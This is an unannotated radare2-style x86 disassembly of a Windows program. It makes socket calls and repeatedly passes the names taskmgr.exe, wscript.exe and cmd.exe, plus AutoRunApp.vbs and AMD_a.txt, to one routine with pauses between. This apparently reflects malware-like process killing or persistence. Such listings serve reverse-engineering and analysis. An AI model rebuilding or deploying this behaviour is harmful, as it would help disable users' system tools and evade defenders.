mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x429d16
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x429d26
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x429d36
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x429d46
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x429d56
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x429d66
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x429d76
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x60]
test eax, eax
jne 0x429d89
mov eax, 0x4fa750
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x429d9d
mov eax, 0x4efeeb
push eax
push 2
mov ebx, 0x4675b0
call fcn.0046536c
add esp, 0x1c
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x429dc0
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x429dd0
push ebx
call fcn.00465372
add esp, 4
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e52d
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e8a4
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x429e63
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00430761
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429e9c
push ebx
call fcn.00465372
add esp, 4
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429ec2
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x429ed2
push ebx
call fcn.00465372
add esp, 4
push 0x80000301
push 0
push 2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x429ef1
mov eax, 0x4efeeb
push eax
push 2
mov ebx, 0x4674d0
call fcn.0046536c
add esp, 0x1c
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x429f14
push ebx
call fcn.00465372
add esp, 4
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e52d
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e8a4
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x429fa7
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00430761
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429fe0
push ebx
call fcn.00465372
add esp, 4
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a006
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42a016
push ebx
call fcn.00465372
add esp, 4
mov ebx, 9
call fcn.00402e3f
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x42a033
mov eax, 0x4efeeb
push eax
push 0
push 0
push 0
push 5
mov eax, 4
mov ebx, 0x4c7390
call fcn.0046537e
add esp, 0x40
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a061
push ebx
call fcn.00465372
add esp, 4
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e52d
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e8a4
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
push 0
mov ebx, 0x465970
call fcn.0046536c
add esp, 4
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42a0e3
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00430761
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a11c
push ebx
call fcn.00465372
add esp, 4
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a142
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42a152
push ebx
call fcn.00465372
add esp, 4
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x42a177
mov eax, 0x4efeeb
push eax
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a19a
push ebx
call fcn.00465372
add esp, 4
jmp 0x4303ad
push str.80006
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42ca6c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4fed5b
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a206
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42a219
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a23c
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4fed8b
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a2a2
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42a2b5
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a2d8
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.AMD_a.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a33e
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42a351
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a374
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0
mov ebx, 0x465970
call fcn.0046536c
add esp, 4
mov dword [ebp - 0x24], eax
push str.AutoRunApp.vbs
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a3c9
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42a3dc
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a3ff
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0
mov ebx, 0x465970
call fcn.0046536c
add esp, 4
mov dword [ebp - 0x24], eax
push 0x4efeec
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a454
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42a467
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a48a
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.taskmgr.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a4d1
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.taskmgr.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a518
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a55f
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a5a6
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a5ed
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a634
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a67b
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a6c2
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a709
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a750
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a797
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a7de
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a825
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a86c
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a8b3
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a8fa
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a941
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a988
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a9cf
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42aa16
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42aa5d
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42aaa4
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42aaeb
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42ab32
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42ab79
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42abc0
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42ac07
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42ac4e
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42ac95
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f090]
push dword [ebp - 0x24]
push 0x4fa738
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42ad01
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42ad28
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f090]
push dword [ebp - 0x24]
push 0x4fa738
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42ad94
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42adbb
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f090]
push dword [ebp - 0x24]
push 0x4fa738
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42ae27
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42ae4e
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f098]
push dword [ebp - 0x24]
push 0x4fa738
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42aeba
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42aee1
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f098]
push dword [ebp - 0x24]
push 0x4fa738
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42af4d
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42af74
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f094]
push dword [ebp - 0x24]
push 0x4fa738
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42afe0
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b007
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f094]
push dword [ebp - 0x24]
push 0x4fa738
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b073
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b09a
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x52f090
call fcn.00411db3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f090]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b131
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42b144
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
